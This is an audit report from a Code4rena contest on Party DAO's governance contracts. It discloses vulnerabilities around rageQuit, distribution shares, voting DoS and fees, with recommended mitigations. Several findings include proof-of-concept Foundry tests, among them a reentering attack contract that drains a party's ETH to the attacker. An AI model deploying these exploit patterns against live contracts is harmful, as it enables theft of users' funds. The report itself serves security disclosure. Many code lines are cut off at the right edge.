Party DAO - Invitational
Findings & Analysis Report

2023-06-23

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Party DAO smart contract system written in Solidity. The audit took place between May 26 - May 30 2023.

Wardens

In Code4rena's Invitational audits, the competition is limited to a small group of wardens; for this audit, 5 wardens contributed reports:

1. 0x52
2. adriro
3. d3e4
4. gjaldon
5. hansfriese

This audit was judged by cccz.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 8 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 7 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 5 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 2 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Party DAO - Invitational repository and is composed of 2 smart contracts written in the Solidity programming language and includes 999 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on [the C4 website](), specifically our section on [Severity Categorization]().

High Risk Findings (1)

[H-01] The distribution logic will be broken after calling `rageQuit()`

Submitted by [hansfriese]()

Malicious users might receive more distributed funds than they should with higher `distributionShare`.

Proof of Concept

In `PartyGovernanceNFT.sol`, there is a `getDistributionShareOf()` function to calculate the distribution share of party NFT.

```
function getDistributionShareOf(uint256 tokenId) public view
    uint256 totalVotingPower = _governanceValues.totalVoting

    if (totalVotingPower == 0) {
        return 0;
    } else {
        return (votingPowerByTokenId[tokenId] * 1e18) / tota
    }
}
```

This function is used to calculate the claimable amount in [getClaimAmount()]().

```
function getClaimAmount(
```

```
        ITokenDistributorParty party,
        uint256 memberSupply,
        uint256 partyTokenId
    ) public view returns (uint128) {
        // getDistributionShareOf() is the fraction of the membe
        // is entitled to, scaled by 1e18.
        // We round up here to prevent dust amounts getting trap
        return
            ((uint256(party.getDistributionShareOf(partyTokenId)
                1e18).safeCastUint256ToUint128();
    }
```

So after the party distributed funds by executing the distribution proposal, users can claim relevant amounts of funds using their party NFTs.

After the update, `rageQuit()` was added so that users can burn their party NFTs while taking their share of the party's funds.

So the below scenario would be possible.

1. Let's assume `totalVotingPower = 300` and the party has 3 party NFTs of 100 voting power. And `Alice` has 2 NFTs and `Bob` has 1 NFT.
2. They proposed a distribution proposal and executed it. Let's assume the party transferred 3 ether to the distributor.
3. They can claim the funds by calling [TokenDistributor.claim()]() and `Alice` should receive 2 ether and 1 ether for `Bob` .(We ignore the distribution fee.)
4. But `Alice` decided to steal `Bob` 's funds so she claimed the distributed funds(3 / 3 = 1 ether) with the first NFT and called `rageQuit()` to take her share of the party's remaining funds.
5. After that, `Alice` calls `claim()` with the second NFT, and `getDistributionShareOf()` will return 50% as the total voting power was decreased to 200. So `Alice` will receive `3 * 50% = 1.5 ether` and `Bob` will receive only 0.5 ether because of this [validation]()
6. After all, `Alice` received 2.5 ether instead of 2 ether.

Even if `rageQuit` is disabled, `Alice` can burn, using `burn()` , her NFT directly if her share of the party's remaining funds are less than the stolen funds from `Bob` .

Here is a simple POC showing the distribution shares after `rageQuit()`.

```
function testWrongDistributionSharesAfterRageQuit() external
    (Party party, , ) = partyAdmin.createParty(
        partyImpl,
        PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: address(0),
            passThresholdBps: 5100,
            totalVotingPower: 300,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
        })
    );

    vm.prank(address(this));
    party.setRageQuit(uint40(block.timestamp) + 1);

    address user1 = _randomAddress();
    address user2 = _randomAddress();
    address user3 = _randomAddress();

    //3 users have the same voting power
    vm.prank(address(partyAdmin));
    uint256 tokenId1 = party.mint(user1, 100, user1);

    vm.prank(address(partyAdmin));
    uint256 tokenId2 = party.mint(user2, 100, user2);

    vm.prank(address(partyAdmin));
    uint256 tokenId3 = party.mint(user3, 100, user3);

    vm.deal(address(party), 1 ether);

    // Before calling rageQuit(), each user has the same 33.
    uint256 expectedShareBeforeRageQuit = uint256(100) * 1e1
    assertEq(party.getDistributionShareOf(tokenId1), expecte
    assertEq(party.getDistributionShareOf(tokenId2), expecte
    assertEq(party.getDistributionShareOf(tokenId3), expecte

    IERC20[] memory tokens = new IERC20[](1);
    tokens[0] = IERC20(ETH_ADDRESS);
```

```
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenId1;

        vm.prank(user1);
        party.rageQuit(tokenIds, tokens, user1);

        // After calling rageQuit() by one user, the second user
        uint256 expectedShareAfterRageQuit = uint256(100) * 1e18
        assertEq(party.getDistributionShareOf(tokenId2), expecte
    }
```

Recommended Mitigation Steps

I think we shouldn't use `getDistributionShareOf()` for distribution shares.

Instead, we should remember `totalVotingPower` for each distribution separately in [_createDistribution()](#) so that each user can receive correct funds even after some NFTs are burnt.

Assessed type

Governance

[0xble (Party) confirmed](#)

Medium Risk Findings (7)

[M-01] rageQuit() cannot transfer ERC1155 fungible tokens

Submitted by [d3e4](#)

https://github.com/code-423n4/2023-05-party/blob/f6f80dde81d86e397ba4f3dedb561e23d58ec884/contracts/party/PartyGovernanceNFT.sol#L332-L345

Rage quitter loses his ERC1155 fungible tokens.

Proof of Concept

`PartyGovernanceNFT` is PartyGovernance which is an `ERC1155Receiver`. But `rageQuit()` only sends ETH, with `call()`, and ERC20-tokens, with `transfer()`. ERC1155-tokens are transferred by `safeTransferFrom()` and its `balanceOf()` also takes an `uint256 _id` parameter. This means that the rage quitter cannot withdraw any of his fair share of ERC1155 fungible tokens.

Recommended Mitigation Steps

Include support for ERC1155 in `rageQuit()`.

0xble (Party) acknowledged and commented:

> This is by design, feel like this should be a QA.

> ERC1155 tokens are tricky because they sometimes behave like NFTs and other times like ERC20s. If they are not fungible, they shouldn't be allowed to be taken out of the treasury during rage quit so that makes allowing them to be rage-quitted dependent on how the 1155 is implemented.

d3e4 (warden) commented:

> @0xble - If the ERC1155 is non-fungible, the contract will only own a single token. Any share less than the whole will be rounded down to zero tokens sent when rage quitting. The same calculation can be used for ERC1155 tokens as for ERC20 tokens, without having to explicitly consider whether they are fungible or not.

cccz (judge) increased severity to Medium and commented:

> I would say this is an undocumented value leakage issue, the contract is designed to receive ERC1155, and the documentation says the user can withdraw fungible tokens on rage quit.

0xble (Party) commented:

> ERC1155s aren't always fungible and we knew this when designing it. Sometimes they behave like ERC20s and other times as ERC721s. If it was the latter, it would lead to a loss of funds.

cccz (judge) commented:

> Agree with you, but a value leak does exist here that meets the C4 medium risk criteria. And the following suggestion I think is appropriate:

> ERC1155 tokens are tricky because they sometimes behave like NFTs and other times like ERC20s. If they are not fungible, they shouldn't be allowed to be taken out of the treasury during rage quit so that makes allowing them to be rage-quitted dependent on how the 1155 is implemented.

> If the ERC1155 is non-fungible the contract will only own a single token, so any share less than the whole will be rounded down to zero tokens sent when rage quitting. So exactly the same calculation can be used for ERC1155 tokens as for ERC20 tokens, without having to explicitly consider whether they are fungible or not.

Note: for full discussion, see here.

[M-02] Rage quitter loses his claimable share of distributed tokens

Submitted by d3e4, also found by hansfriese, 0x52, and adriro

Proof of Concept

`PartyGovernanceNFT.rageQuit()` burns a governance NFT and transfers its share of the balance of ETH and tokens:

```
    // Burn caller's party card. This will revert if caller is not t
    // of the card.
    burn(tokenId);

    // Withdraw fair share of tokens from the party.
    IERC20 prevToken;
    for (uint256 j; j < withdrawTokens.length; ++j) {
        IERC20 token = withdrawTokens[j];

        // Prevent null and duplicate transfers.
        if (prevToken >= token) revert InvalidTokenOrderError();
```

```
        prevToken = token;

        // Check if token is ETH.
        if (address(token) == ETH_ADDRESS) {
            // Transfer fair share of ETH to receiver.
            uint256 amount = (address(this).balance * shareOfVotingP
            if (amount != 0) {
                payable(receiver).transferEth(amount);
            }
        } else {
            // Transfer fair share of tokens to receiver.
            uint256 amount = (token.balanceOf(address(this)) * share
            if (amount != 0) {
                token.compatTransfer(receiver, amount);
            }
        }
    }
```

The problem with this is that the governance NFT might also have tokens to `claim()` in the `TokenDistributor`. These cannot be claimed after the governance NFT has been burned.

The rage quitter cannot completely protect himself from this by calling `claim()` first, because the tokens might not yet have been distributed to the `TokenDistributor` until in a frontrun call to `distribute()` just before his `rageQuit()`. This way the rage quitter might be robbed of his fair share.

Recommended Mitigation Steps

Have `rageQuit()` call `TokenDistributor.claim()` before the governance NFT is burned.

Assessed type

Context

cccz (judge) decreased severity to Medium and commented:

> Similar issues are considered M in C4. Loss of funds requires external requirements (user misses call to claim() or frontrun occurs).

> Also, since the claim() only allows NFT owner to call, consider transferring the user's NFT to the contract in rageQuit().

```
    function claim(
        DistributionInfo calldata info,
        uint256 partyTokenId
    ) public returns (uint128 amountClaimed) {
        // Caller must own the party token.
        {
            address ownerOfPartyToken = info.party.ownerOf(party
            if (msg.sender != ownerOfPartyToken) {
                revert MustOwnTokenError(msg.sender, ownerOfPart
            }
        }
```

[0xble (Party) acknowledged and commented](https://github.com/code-423n4/2023-10-party-findings/issues/):

> We will warn users with unclaimed distributions on the frontend but will not make any code changes to enforce this.

adriro (warden) commented:

> @cccz (judge) I think this issue should be more on the QA side as the sponsor clearly stated that rage quit may cause losses due to user inaction or mistake:

> If a user intentionally or accidentally excludes a token in their ragequit, they forfeit that token and will not be able to claim it.

> Similar to the described scenario, if a user forgets to call claim on the distributor before rage quitting, they will lose their share of tokens.

cccz (judge) commented:

> In this issue, even if the user does not make any mistake, they may suffer a loss because there may be a potential frontrun attack.

[M-03] Burning an NFT can be used to block voting

Submitted by adriro, also found by hansfriese, d3e4, and gjaldon

A new validation in the `accept()` function has been introduced in order to mitigate a potential attack to the party governance.

By burning an NFT, a party member can reduce the total voting power of the party just before creating a proposal and voting for it. Since the snapshot used to vote is previous to this action, this means the user can still use their burned voting power while voting in a proposal with a reduced total voting power. This is stated in the comment attached to the new validation:

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L589-L598

```
589:         // Prevent voting in the same block as the last bur
590:         // This is to prevent an exploit where a member car
591:         // reduce the total voting power of the party, ther
592:         // the same block since `getVotingPowerAt()` uses `
593:         // This would allow them to use the voting power sr
594:         // their card was burned to vote, potentially passi
595:         // would have otherwise not passed.
596:         if (lastBurnTimestamp == block.timestamp) {
597:             revert CannotRageQuitAndAcceptError();
598:         }
```

This change can be abused by a bad actor in order to DoS the voting of a proposal. The call to `accept()` can be front-runned with a call to `burn()`, which would trigger the revert in the original transaction.

While this is technically possible, it is not likely that a party member would burn their NFT just to DoS a voting for a single block. However, it might be possible to mint an NFT with zero voting power (in order to keep the voting power unaltered) and burn it in order to block calls to `accept()`.

Proof of concept

The following test reproduces the issue. Bob's transaction to `accept()` is front-runned and blocked by minting a zero voting power NFT and immediately burning it.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

```
function test_PartyGovernanceNFT_BlockVoting() external {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address authority = makeAddr("authority");

    (Party party, , ) = partyAdmin.createParty(
        partyImpl,
        PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: address(0),
            passThresholdBps: 5100,
            totalVotingPower: 100,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
        })
    );

    vm.prank(address(party));
    party.addAuthority(authority);

    // Mint voting power to alice and bob
    vm.startPrank(address(partyAdmin));

    uint256 aliceToken = party.mint(alice, 50, alice);
    uint256 bobTokenId = party.mint(bob, 50, bob);

    vm.stopPrank();

    // Alice creates proposal
    vm.startPrank(alice);

    uint256 proposalId = party.propose(
        PartyGovernance.Proposal({
            maxExecutableTime: uint40(type(uint40).max),
            cancelDelay: uint40(1 days),
            proposalData: abi.encode(0)
        }),
        0
    );

    vm.stopPrank();
```

```
        // Bob is going to vote for proposal but is front-runned by
        // Authority mints a 0 voting token and burns it
        vm.prank(authority);
        uint256 dummyTokenId = party.mint(authority, 0, authority);
        vm.prank(authority);
        party.burn(dummyTokenId);
        // Bob transaction reverts
        vm.expectRevert(PartyGovernance.CannotRageQuitAndAcceptError
        vm.prank(bob);
        party.accept(proposalId, 0);
    }
```

Recommendation

It is difficult to provide a solution without changing how voting works at the general level in the governance contracts. The issue can be partially mitigated by moving the check to the `proposal()` function. This would prevent the DoS on the `accept()` function while still mitigating the original issue, but would allow the same attack to be performed while members try to create proposals.

Assessed type

DoS

[0xble (Party) acknowledged]

[M-04] Rage quit modifications should be limited to provide stronger guarantees to party members

Submitted by [adriro], *also found by* [0x52], [d3e4], *and* [gjaldon]

Party hosts can arbitrarily change the rage quit settings overriding any existing preset.

Rage quit is implemented in the `PartyGovernanceNFT` contract by using a timestamp. Leaving aside the cases of permanent settings (which, of course, cannot be changed) this implementation allows a more flexible feature than a simple enable/disable toggle. The timestamp represents the time until rage quit is allowed. If the timestamp is still in the future, then rage quit is enabled. If it is in the past, the feature is disabled.

This setting can be changed at will by party hosts. At any moment and without any restriction (other than the permanent enabled or disabled, which cannot be modified), the party host is allowed to change the value to **any arbitrary date**. This means that an already scheduled setting that would allow rage quit until a certain future date, can be simply overridden and changed by the party host.

A party member can feel secure knowing it has the option to rage quit until the defined timestamp in `rageQuitTimestamp`. However, any party host can arbitrarily reduce or completely disable the feature, ignoring any preset.

This is particularly concerning, as it defeats the purpose of having a programmable expiration date of the rage quit feature. The allowed modifications should ensure members are covered at least until the agreed timestamp (i.e. extend it or leave it as it is to disable rage quit the moment the timestamp expires), or provide better guarantees against arbitrary changes.

Recommendation

Here are some alternatives that should be taken as ideas to be used individually or in some combination:

1. Ensure rage quit cannot be disabled at least until the currently defined timestamp.
2. Rage quit can only be reduced by a certain amount of time (for example, a percentage of the remaining time).
3. Rage quit can only be changed once per period of time.
4. If rage quit is currently enabled, then ensure the timestamp is not decreased below the latest proposal execution time.

[0xble (Party) acknowledged]()

[M-05] Tokens with multiple entry points can lead to loss of funds in `rageQuit()`

Submitted by [adriro](), also found by [hansfriese]()

ERC20 tokens with multiple entry points (also known as double entry tokens or two address tokens) can be used to exploit the `rageQuit()` function and steal funds from the party.

The `rageQuit()` function can be used by a party member to exit their position and claim their share of tokens present in the party. The implementation takes an arbitrary array of tokens and transfers the corresponding amount of each to the given receiver:

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L323-L346

```
323:            IERC20 prevToken;
324:            for (uint256 j; j < withdrawTokens.length; ++j)
325:                IERC20 token = withdrawTokens[j];
326:
327:                // Prevent null and duplicate transfers.
328:                if (prevToken >= token) revert InvalidToker
329:
330:                prevToken = token;
331:
332:                // Check if token is ETH.
333:                if (address(token) == ETH_ADDRESS) {
334:                    // Transfer fair share of ETH to receiv
335:                    uint256 amount = (address(this).balance
336:                    if (amount != 0) {
337:                        payable(receiver).transferEth(amour
338:                    }
339:                } else {
340:                    // Transfer fair share of tokens to rec
341:                    uint256 amount = (token.balanceOf(addre
342:                    if (amount != 0) {
343:                        token.compatTransfer(receiver, amou
344:                    }
345:                }
346:            }
```

The function correctly considers potential duplicate elements in the array. Line 328 validates that token addresses are in ascending order and that the address from the previous iteration is different from the address of the current iteration, effectively disallowing duplicates.

However, this isn't enough protection against [tokens with multiple addresses](). If the token has more than one entry point, then a bad actor can submit all of them to the `rageQuit()` function in order to execute the withdrawal multiple times, one for each available entry point. This will lead to the loss of funds to other party members, as this vulnerability can be exploited by an attacker to withdraw more tokens than deserved.

Proof of concept

Let's assume there is a token with two entry points in address A and address B. The party holds 100 of these tokens and Alice, a party member, has an NFT corresponding to 50% of the total voting power.

Alice decides to exit her position by calling `rageQuit()`. Under normal circumstances, she would get 50 tokens, as she has 50% of the share in the party. However, Alice calls `rageQuit()` passing both address A and address B in the `withdrawTokens` array. As these are different addresses, the implementation will consider the argument valid, and execute the withdrawal two times. For the first address, Alice will be transferred 50 tokens (100 * 50% = 50), and for the other address, she will be transferred an additional of 25 tokens (50 * 50% = 25).

Recommendation

There is no easy solution for the issue. The usual recommendation in these cases is to implement a whitelist of supported tokens, but this will bring complexity and undermine the flexibility of the Party implementation.

Another alternative would be to first do a "snapshot" of available balances for the given tokens, and then, while executing the withdrawals, compare the current balance with the snapshot in order to detect changes:

1. Loop through each token and store the balance of the party contract, i.e. `previousBalances[i] = withdrawTokens[i].balanceOf(address(this))`.
2. Loop again through each token to execute withdrawals, but first check that the current balance matches the previous balance, i.e.

```
require(previousBalances[i] ==
withdrawTokens[i].balanceOf(address(this))).
```

If balances don't match, this means that a previous withdrawal affected the balance of the current token, which may indicate and prevent a potential case of a token with multiple entry points.

Assessed type

Token-Transfer

0xble (Party) commented:

> Feel like this should be a QA, it can lead to loss of funds but only under the specific circumstance that a party holds two address tokens, which practically is very rare.

cccz (judge) decreased severity to Medium and commented:

> TrueUSD is an example and has a fairly high market volume: https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2

> Similar issues can be found in https://github.com/code-423n4/2023-04-frankencoin-findings/issues/886

> But the difference is that in #886 the attacker is actively depositing TrueUSD to make the attack, while this issue requires the victim to deposit TrueUSD, and then the attacker can get more TrueUSD, so I would consider this to be M

0x52 (warden) commented:

> Worth mentioning, the secondary entry to TrueUSD was disabled as a response to this type of vulnerability, so this is no longer possible. Not sure if any other notable tokens implement this pattern.

0xble (Party) acknowledged

[M-06] Reentrancy guard in `rageQuit()` can be bypassed

Submitted by adriro, also found by gjaldon, hansfriese, 0x52, and d3e4

The reentrancy guard present in the `rageQuit()` function can be bypassed by host accounts, leading to reentrancy attack vectors and loss of funds.

The new `rageQuit()` function can be used by party members to exit their position and obtain their share of the tokens held by the party contract. In order to prevent function reentrancy while sending ETH or transferring ERC20 tokens, the implementation reuses the `rageQuitTimestamp` variable as a guard to check if the function is being called again while executing.

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L293-L353

```
    function rageQuit(
        uint256[] calldata tokenIds,
        IERC20[] calldata withdrawTokens,
        address receiver
    ) external {
        // Check if ragequit is allowed.
        uint40 currentRageQuitTimestamp = rageQuitTimestamp
        if (currentRageQuitTimestamp != ENABLE_RAGEQUIT_PEI
            if (
                currentRageQuitTimestamp == DISABLE_RAGEQUI
                currentRageQuitTimestamp < block.timestamp
            ) {
                revert CannotRageQuitError(currentRageQuitT
            }
        }

        // Used as a reentrancy guard. Will be updated back
        delete rageQuitTimestamp;

        ...

        // Update ragequit timestamp back to before.
        rageQuitTimestamp = currentRageQuitTimestamp;

        emit RageQuit(tokenIds, withdrawTokens, receiver);
    }
```

The implementation deletes the value of `rageQuitTimestamp` (which sets it to zero) in line 310. The intention is to use this variable to prevent reentrancy, as setting it to zero will block any call due to the check in line 303, `block.timestamp` will be greater than zero and will lead to the revert in line 305. After NFTs are burned and tokens are transferred, the function restores the original value in line 350.

This reentrancy guard can still be bypassed using `setRageQuit()`. If execution control is transferred to the attacker, then the attacker can call `setRageQuit()` to reset the value to anything greater than `block.timestamp`, allowing the reentrancy on the `rageQuit()` function. Note that this would require the attacker to be a party host or be in complicity with a party host.

The general scenario to trigger the reentrancy is as follows:

1. User calls `rageQuit()`.
2. ETH or ERC20 transfers control to the attacker. This can be in different forms:
    - ETH transfers to contracts that invoke the `receive()` or `fallback()` function.
    - Variations of the ERC20 tokens that have callbacks during transfers (e.g. ERC777)
    - Poisoned ERC20 implementation that receives control during the `transfer()` call itself.
3. Attacker resets the `rageQuitTimestamp` by calling `setRageQuit(block.timestamp + 1)`.
4. Attacker reenters the `rageQuit()` function.

The issue can be exploited to disable the reentrancy guard in the `rageQuit()` function, leading to further attacks. We will explore a scenario of potential loss of funds in the next section.

Proof of Concept

The following is an adaptation of the test `testRageQuit_cannotReenter()` present in the PartyGovernanceNFT.t.sol test suite, with minimal variations to enable the described attack.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

```
function test_PartyGovernanceNFT_ReentrancyAttack() external {
   address alice = makeAddr("alice");
   address host = makeAddr("host");

   (Party party, , ) = partyAdmin.createParty(
      partyImpl,
      PartyAdmin.PartyCreationMinimalOptions({
            host1: address(this),
            host2: host,
            passThresholdBps: 5100,
            totalVotingPower: 100,
            preciousTokenAddress: address(toadz),
            preciousTokenId: 1,
            rageQuitTimestamp: 0,
            feeBps: 0,
            feeRecipient: payable(0)
      })
   );

   vm.prank(address(this));
   party.setRageQuit(uint40(block.timestamp) + 1);

   // Mint voting NFTs, alice and host have both 50%
   vm.prank(address(partyAdmin));
   uint256 aliceTokenId = party.mint(alice, 50, alice);
   vm.prank(address(partyAdmin));
   uint256 hostTokenId = party.mint(host, 50, host);

   // Host (attacker) deploys malicious ReenteringContract
   ReenteringContract reenteringContract = new ReenteringContrac

   // Host sends his NFT to the contract
   vm.prank(host);
   party.transferFrom(host, address(reenteringContract), hostTo

   // Host transfer host feature to contract
   vm.prank(host);
   party.abdicateHost(address(reenteringContract));

   // Simulate there is 1 ETH in the party
   vm.deal(address(party), 1 ether);
```

```
    // Alice decides to rage quit

    IERC20[] memory tokens = new IERC20[](2);
    tokens[0] = IERC20(address(reenteringContract));
    tokens[1] = IERC20(ETH_ADDRESS);

    uint256[] memory tokenIds = new uint256[](1);
    tokenIds[0] = aliceTokenId;

    vm.prank(alice);
    party.rageQuit(tokenIds, tokens, alice);

    // Alice has 0 ETH while the host (attacker) has all the func
    assertEq(alice.balance, 0);
    assertEq(host.balance, 1 ether);
}

contract ReenteringContract is ERC721Receiver {
    Party party;
    uint256 tokenId;
    address attacker;

    constructor(Party _party, uint256 _tokenId, address _attacke
        party = _party;
        tokenId = _tokenId;
        attacker = _attacker;
    }

    function balanceOf(address) external returns (uint256) {
        return 1337;
    }

    function transfer(address, uint256) external returns (bool)
        // Disable reentrancy guard
        party.setRageQuit(uint40(block.timestamp + 1));

        // Return host to attacker
        party.abdicateHost(attacker);

        // Execute attack
        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeee
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenId;
        party.rageQuit(tokenIds, tokens, address(this));
        return true;
```

```
        }

        fallback() external payable {
            // sends funds to attacker
            payable(attacker).transfer(address(this).balance);
        }
    }
```

Recommendation

Implement a reentrancy guard using a dedicated variable that acts as the flag, such as the one available in the [OpenZeppelin contracts library](#).

Alternatively, if the intention is to reuse the same `rageQuitTimestamp` variable, set it temporarily to `DISABLE_RAGEQUIT_PERMANENTLY` instead of zero. This will prevent calling `setRageQuit()` to reset the `rageQuitTimestamp` variable while also blocking calls to `rageQuit()`.

Assessed type

Reentrancy

[cccz (judge) decreased severity to Medium and commented](#):

> This attack scenario requires the victim to add malicious ERC20 tokens to the withdrawTokens parameter, and since this is not directly compromising user assets (which requires certain external requirements), consider M.

[0xble (Party) confirmed](#)

Note: for full discussion, see [here](#).

[M-07] Users can bypass distributions fees by ragequitting instead of using a formal distribution

Submitted by [0x52](#)

Distribution fees can be bypassed by ragequitting instead of distributing

Proof of Concept

https://github.com/code-423n4/2023-05-party/blob/f6f80dde81d86e397ba4f3dedb561e23d58ec884/contracts/party/PartyGovernance.sol#L510-L515

```
        address payable feeRecipient_ = feeRecipient;
        uint16 feeBps_ = feeBps;
        if (tokenType == ITokenDistributor.TokenType.Native) {
            return
                distributor.createNativeDistribution{ value: amount
        }
```

When a distribution is created the distribution will pay fees to the `feeRecipient`.

https://github.com/code-423n4/2023-05-party/blob/f6f80dde81d86e397ba4f3dedb561e23d58ec884/contracts/party/PartyGovernanceNFT.sol#L333-L345

```
                if (address(token) == ETH_ADDRESS) {
                    // Transfer fair share of ETH to receiver.
                    uint256 amount = (address(this).balance * share(
                    if (amount != 0) {
                        payable(receiver).transferEth(amount);
                    }
                } else {
                    // Transfer fair share of tokens to receiver.
                    uint256 amount = (token.balanceOf(address(this))
                    if (amount != 0) {
                        token.compatTransfer(receiver, amount);
                    }
                }
```

On the other hand, when a user rage quits, they are given the full amount without any fees being taken. If we assume that the party is winding down, then users can bypass this fee by rage quitting instead of using a formal distribution. This creates value leakage and the fee recipient is not being paid the fees they would otherwise be due.

Recommended Mitigation Steps

Charge distribution fees when rage quitting

0xble (Party) confirmed and commented:

> Fair to bring up, although based on how parties will be configured when created through our frontend, rage quitting and distributions will be mutually exclusive.

Low Risk and Non-Critical Issues

For this audit, 5 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **gjaldon** received the top score from the judge.

The following wardens also submitted reports: d3e4, 0x52, adriro *and* hansfriese.

[L-01] Validate rageQuitTimestamp in `PartyGovernanceNFT._initialize()`

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L101

`rageQuit()` is a valuable feature for Party members since it is a protective measure for them to be able to do an emergency withdrawal of their assets. Given that, it would be a good and sane default for `rageQuitTimestamp` to be initialized to some value in the future so that Party members are assured they can rageQuit in the early stages of the Party.

[L-02] `getDistributionShareOf()` does not need to check that `totalVotingPower` == 0 in `rageQuit()`

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L151-L154

`getDistributionShareOf()` is only used in `PartyGovernanceNFT.rageQuit()`. There is no point in rage quitting while `totalVotingPower` is 0 because a user will not be able to withdraw their assets, and then later `burn()` call will fail anyway. So `getDistributionShareOf()` should instead remove the check for `totalVotingPower == 0` and fail with a divisionByZero error. In that way, the function fails earlier and wastes less gas and does not rely on `burn()` reverting when totalVotingPower is 0.

[L-03] `transferEth()` should not copy returnData

https://github.com/code-423n4/2023-05-party/blob/main/contracts/utils/LibAddress.sol#L112-L14

We only care about transferring ETH in the `transferEth()` function and we do not do anything to the returnData. This also prevents any reverts caused by lacking gas due to large return data causing memory expansion which can be the case if the address receiving ether is a contract with a `fallback()` function that returns data and no `receive()` function. [This assembly block]() can be used in place of the `receiver.call{}()` code. It works the same but does not assign memory to any returnData.

[L-04] Host shouldn't be able to disable emergencyExecute

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L816-L819

Emergency execute is a protective measure so that the PartyDAO can execute any arbitrary function as the Party contract and move assets. This is useful when the Party contract is in a bad state and assets are stuck. This gives Party members a chance to recover their stuck assets. Given this, allowing any Host to `disableEmergencyExecute()` seems like too much power for the role and requires that the Host role is highly trusted. Furthermore, disabling emergency execute is permanent and irreversible. May be worth considering giving activeMembers the ability to disable and enable emergencyExecute.

[R-01] Use `VETO_VALUE` for clarity

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L1024-L1027

Replace `type(uint96).max` in the above code with `VETO_VALUE` for clarity and easier refactoring in the future.

[0xble (Party) acknowledged]

[cccz (judge) commented]:

> L-2 is more like a GAS.
> The warden's QA submission has the highest score, selected as the best.

Gas Optimizations

For this audit, 2 reports were submitted by wardens detailing gas optimizations. The [report highlighted below] by **adriro** received the top score from the judge.

The following warden also submitted a report: [d3e4].

PartyGovernance contract

- The new storage variable `lastBurnTimestamp` of type `uint40` was added below other short storage variables (`emergencyExecuteDisabled` , `feeBps` and `feeRecipient`) presumably with the intention of being tightly packed into a single slot. As this variable `lastBurnTimestamp` isn't used in conjunction with the other variables in the slot, there isn't any advantage to this behavior and will only introduce overhead gas costs due to packing.
https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L203
- The new check for `lastBurnTimestamp == block.timestamp` can be moved up in the function in order to have this checked earlier. This would save gas in case of a revert because the checks above are more costly in terms of the involved operations.
https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L596-L598

PartyGovernanceNFT contract

- Similar to the case in the PartyGovernance contract, the new storage variable `rageQuitTimestamp` of type `uint40` is being accommodated below other short storage variables (`tokenCount` and `mintedVotingPower`) to have it tightly packed in a single slot. As this variable isn't used in combination with the others, this packing only incurs extra gas costs due to overhead. https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L55
- The check for `newRageQuitTimestamp == DISABLE_RAGEQUIT_PERMANENTLY` can be moved at the start of the function and before line 271 to early exit and abort reading the storage variable in case of a revert. https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L274
- When rage quitting multiple NTFs, the same token transfer is executed multiple times to account for withdrawals associated with each NFT. Consider adding the amounts associated with each NFT first and then execute a single withdrawal for each token in `withdrawTokens` . https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L337 https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L343
- When rage quitting multiple NTFs, each call to `burn()` will execute multiple checks and operations that are unneeded or are repeated with no other effect than consuming gas. For example:
  - The `(totalVotingPower != 0 || !authority)` check is unneeded as `totalVotingPower` should be greater than zero.
  - Updates to `lastBurnTimestamp` should only be needed once.
  - Updates to `mintedVotingPower` and `totalVotingPower` and repeated for each call, these can be batched and updated with a single SSTORE. https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernanceNFT.sol#L320

[0xble (Party) confirmed](#)

Disclosures

C4 is an open organization governed by participants in the community.

